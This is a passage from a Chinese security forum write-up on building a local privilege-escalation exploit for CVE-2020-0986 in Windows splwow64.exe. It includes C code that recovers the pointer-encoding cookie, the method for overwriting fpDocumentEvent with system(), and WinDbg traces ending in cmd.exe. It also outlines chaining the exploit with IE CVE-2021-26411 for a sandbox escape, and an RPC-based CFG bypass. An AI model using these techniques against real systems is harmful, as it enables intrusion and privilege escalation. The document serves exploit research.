  return __ROR8__(v2 ^ v1, v1 & 0x3F);
}

在splwow64.exe中,每一次执行DocumentEvent时,都先将fpDocumentEvent进行解码,从而得到原始的DocumentEvent函数指针,然后再进行调用,而fpDocumentEvent位于splwow64.exe进程的.data 段,也就是说fpDocumentEvent指针的偏移是确定的。

 

同时我们知道一个事实, Windows 系统上的地址空间布局随机化是基于引导的 ,也就说当系统启动后,系统DLL的基址就不会改变,直到下次重启系统,所以在EXP中通过手动加载gdi32full.dll,就可以知道当前fpDocumentEvent指针的实际地址。

 

那么漏洞利用的思路就是,利用任意地址写的原语,将我们想要调用的函数指针,例如system函数指针,替换fpDocumentEvent函数指针,因为DocumentEvent函数在特定索引值的情况下,每次都会被调用,所以当我们替换成功后,实际调用的函数即为system。

 

漏洞利用简述步骤:

  1. 在调试环境下,确定fpDocumentEvent函数指针偏移,这里称为fpDocOffset。

  2. 在漏洞利用程序中,手动加载gdi32full.dll和winspool.drv,分别获得gdi32full.dll的BaseAddress和DocumentEvent函数指针。

  3. 发送LPC消息到splwow64.exe,获得BaseAddress+fpDocOffset地址处的fpDocumentEvent函数指针。

  4. 目前我们已经得到了fpDocumentEvent函数指针和DocumentEvent函数指针,也就是编码前后的函数指针,所以我们可以计算出编码所用的Cookie值,计算公式如下。(源自 @iamelli0t 师傅在看雪SDC的演讲PPT )

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    UINT64 CalcCookie(UINT64 encodePtr, UINT64 decodePtr)
    {
        UINT cookie = 0;
        for (UINT i = 0; i <= 0x3f; i++)
        {
            cookie = (UINT)decodePtr ^ __ROL8__(encodePtr, i & 0x3F);
            if ((cookie & 0x3f) == i && __ROR8__(decodePtr ^ cookie, cookie & 0x3f) == encodePtr) {
                break;
            }
        }
        return cookie;
    }
  5. 通过第四步得到的Cookie值,编码system函数指针,这里我们称编码后的值为fpSystem,编码公式如下。(源自卡巴斯基博客 )

    1
    UINT64 encodePtr = __ROR8__(cookie ^ (UINT64)systemAdd, cookie & 0x3f);
  6. 继续发送LPC消息,通过共享内存,将fpSystem函数指针填充到BaseAddress+fpDocOffset地址处。

  7. 最后再发送一次特定索引值的LPC消息,同时在LPC消息中包含system函数的参数。

下面我们通过调试看看具体的流程

  1. 从splwow64.exe进程空间获取fpDocumentEvent函数指针到共享内存

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    0:006>
    gdi32full!GdiPrinterThunk+0x2ac:
    00007ffa`c71a5c5c 488b0d85d51300  mov     rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=07ffa3f668d74000
    0:006> ln 00007ffa`c72e31e8
    Browse module
    Set bu breakpoint
     
    (00007ffa`c72e31e8)   gdi32full!fpDocumentEvent   |  (00007ffa`c72e31f0)   gdi32full!fpQuerySpoolMode
    Exact matches:
    0:006> p
    gdi32full!GdiPrinterThunk+0x2b3:
    00007ffa`c71a5c63 48ff1536960a00  call    qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)}
    .........................................................
    .........................................................
    0:006>
    gdi32full!GdiPrinterThunk+0x1fd4a:
    00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)
    0:006> r
    rax=0000000000a20800 rbx=0000000000a20160 rcx=0000000000a20060
    rdx=00007ffac72e31e8 rsi=0000000000a20088 rdi=0000000000cdca80
    rip=00007ffac71c56fa rsp=000000000267f280 rbp=000000000267f2e9
     r8=0000000000000008  r9=0000000000000100 r10=00000fff5920c6c0
    r11=000000000267f150 r12=0000000000000000 r13=0000000000000001
    r14=0000000000000010 r15=0000000000000000
    iopl=0         nv up ei ng nz ac po cy
    cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
    gdi32full!GdiPrinterThunk+0x1fd4a:
    00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)
    0:006> p
    gdi32full!GdiPrinterThunk+0x1fd4f:
    00007ffa`c71c56ff 90              nop
    0:006> dq 00000000`00a20060 l2
    00000000`00a20060  07ffa3f6`68d74000 00000000`00000000
  2. 将编码后fpSystem填充到BaseAddress+fpDocOffset地址处。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    0:006>
    gdi32full!GdiPrinterThunk+0x1fd4a:
    00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)
    0:006> r
    rax=0000000000a20800 rbx=0000000000a20160 rcx=00007ffac72e31e8
    rdx=0000000000a20810 rsi=0000000000a20088 rdi=0000000000cdca80
    rip=00007ffac71c56fa rsp=000000000267f280 rbp=000000000267f2e9
    r8=0000000000000008  r9=0000000000000100 r10=00000fff5920c6c0
    r11=000000000267f150 r12=0000000000000000 r13=0000000000000001
    r14=0000000000000010 r15=0000000000000000
    iopl=0         nv up ei ng nz ac po cy
    cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
    gdi32full!GdiPrinterThunk+0x1fd4a:
    00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)
    0:006> dq 00007ffac72e31e8
    00007ffa`c72e31e8  07ffa3f6`68d74000 07ffa3f6`03994000
    00007ffa`c72e31f8  07ffa3f6`038b4000 07ffa3f6`6adf4000
    00007ffa`c72e3208  07ffa3f6`03a54000 07ffa3f6`0d254000
    00007ffa`c72e3218  07ffa3f6`0b0f4000 07ffa3f6`06d94000
    00007ffa`c72e3228  00080000`00000000 07ffa3f6`695f4000
    00007ffa`c72e3238  07ffa3f6`09a04000 07ffa3f6`6fd14000
    00007ffa`c72e3248  00000000`00000000 00000000`00000000
    00007ffa`c72e3258  00000000`00000000 ffffffff`ffffffff
    0:006> p
    gdi32full!GdiPrinterThunk+0x1fd4f:
    00007ffa`c71c56ff 90              nop
    0:006> dq 00007ffac72e31e8
    00007ffa`c72e31e8  07ffa46a`c7c34000 07ffa3f6`03994000
    00007ffa`c72e31f8  07ffa3f6`038b4000 07ffa3f6`6adf4000
    00007ffa`c72e3208  07ffa3f6`03a54000 07ffa3f6`0d254000
    00007ffa`c72e3218  07ffa3f6`0b0f4000 07ffa3f6`06d94000
    00007ffa`c72e3228  00080000`00000000 07ffa3f6`695f4000
    00007ffa`c72e3238  07ffa3f6`09a04000 07ffa3f6`6fd14000
    00007ffa`c72e3248  00000000`00000000 00000000`00000000
    00007ffa`c72e3258  00000000`00000000 ffffffff`ffffffff
  3. 最后再发送一次LPC消息,同时在LPC消息中包含system函数的参数,实现漏洞利用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    0:006>
    gdi32full!GdiPrinterThunk+0x2ac:
    00007ffa`c71a5c5c 488b0d85d51300  mov     rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=07ffa46ac7c34000
    0:006> ln 00007ffa`c72e31e8
    Browse module
    Set bu breakpoint
     
    (00007ffa`c72e31e8)   gdi32full!fpDocumentEvent   |  (00007ffa`c72e31f0)   gdi32full!fpQuerySpoolMode
    Exact matches:
    0:006> p
    gdi32full!GdiPrinterThunk+0x2b3:
    00007ffa`c71a5c63 48ff1536960a00  call    qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)}
    0:006> p
    gdi32full!GdiPrinterThunk+0x2ba:
    00007ffa`c71a5c6a 0f1f440000      nop     dword ptr [rax+rax]
    0:006> ln rax
    Browse module
    Set bu breakpoint
     
    (00007ffa`c8f87ec0)   msvcrt!system   |  (00007ffa`c8f87fe0)   msvcrt!capture_argv
    Exact matches:
    0:006>
    gdi32full!GdiPrinterThunk+0x2bf:
    00007ffa`c71a5c6f 488b4f50        mov     rcx,qword ptr [rdi+50h] ds:00000000`00cdcad0=0000000000a20800
    0:006>
    gdi32full!GdiPrinterThunk+0x2c3:
    00007ffa`c71a5c73 448b4f3c        mov     r9d,dword ptr [rdi+3Ch] ds:00000000`00cdcabc=00000020
    .........................................................
    .........................................................
    0:006> t
    ntdll!LdrpDispatchUserCallTarget:
    00007ffa`c946c590 4c8b1de9dd0e00  mov     r11,qword ptr [ntdll!LdrSystemDllInitBlock+0xb0 (00007ffa`c955a380)] ds:00007ffa`c955a380=00007df5fbab0000
    .........................................................
    .........................................................
    0:006>
    ntdll!LdrpDispatchUserCallTarget+0x3b:
    00007ffa`c946c5cb 48ffe0          jmp     rax {msvcrt!system (00007ffa`c8f87ec0)}
    0:006> da rcx
    00000000`00a20200  "cmd.exe"

    1623661001087

至此,我们已经完成的CVE-2020-0986的提权EXP编写。

结合CVE-2021-26411漏洞实现IE沙箱逃逸

参考 @iamelli0t师傅在看雪SDC的演讲,IE漏洞和提权漏洞结合流程如下:

  1. 利用IE漏洞实现RCE,执行的shellcode功能为,反射注入一个DLL。
  2. DLL的功能为远程下载并执行提权exe。

1623840877615

 

如上图所示,CVE-2021-26411配合CVE-2020-0986实现了沙箱逃逸,拿到Medium Integrity权限的shell。

题外话

CVE-2021-26411的EXP中使用Windows RPC的方式绕过CFG,这种手法较为新颖,简单使用, @iamelli0t师傅在他的博客中也提到 “有理由相信,它将成为绕过 CFG 缓解的一种新的有效利用技术 ”。

 

CVE-2021-26411的EXP利用Windows RPC方式绕过CFG流程如下:

  1. 利用漏洞构造一个任意地址读写原语
  2. 替换虚表函数指针实现 JavaScript代码调用rpcrt4!NdrServerCall2
  3. 伪造RPC_MESSAGE
  4. 利用JavaScript调用rpcrt4!NdrServerCall2,执行VirtualProtect,修改RPCRT4!__guard_check_icall_fptr的内存属性
  5. 替换ntdll!LdrpValidateUserCallTarget指针为KiFastSystemCallRet
  6. 将第4步修改的内存属性改回原属性
  7. 利用JavaScript调用rpcrt4!NdrServerCall2执行shellcode

本人研究完 CVE-2021-26411的EXP后发现此EXP中使用的RPC手法是通用的,也就是说,在其他漏洞中只要能构造出任意地址读写原语,那一般都可以直接复用此RPC手法实现bypass CFG,一番研究后,本人在CVE-2020-17053上实现了此RPC手法bypass CFG,这里就不再展示。

参考链接

[1] https://mp.weixin.qq.com/s?__biz=MzI1MDU5NjYwNg==&mid=2247489493&idx=1&sn=146720b9aa2c5d5b75679e1691cfe231&chksm=e9fe8a44de890352b91696cf57b30c8360f3ab2306ae2e779a5bd2325ef401d4aae5349efc93&scene=178&cur_album_id=1793105970730975235#rd

 

[2] https://zhuanlan.kanxue.com/article-14133.htm

 

[3] https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-0986.html

 

[4] https://mp.weixin.qq.com/s?__biz=MzI1MDU5NjYwNg==&mid=2247489493&idx=1&sn=146720b9aa2c5d5b75679e1691cfe231&chksm=e9fe8a44de890352b91696cf57b30c8360f3ab2306ae2e779a5bd2325ef401d4aae5349efc93&scene=178&cur_album_id=1793105970730975235#rd

 

[5] https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/

 

[6] https://enki.co.kr/blog/2021/02/04/ie_0day.html

 

[7] https://iamelli0t.github.io/2021/04/10/RPC-Bypass-CFG.html

 

[8] https://byteraptors.github.io/windows/exploitation/2020/05/24/sandboxescape.html


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2021-7-5 17:30 被天玄SecLab编辑 ,原因: 标题文字有重复,修改标题
收藏
点赞4
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回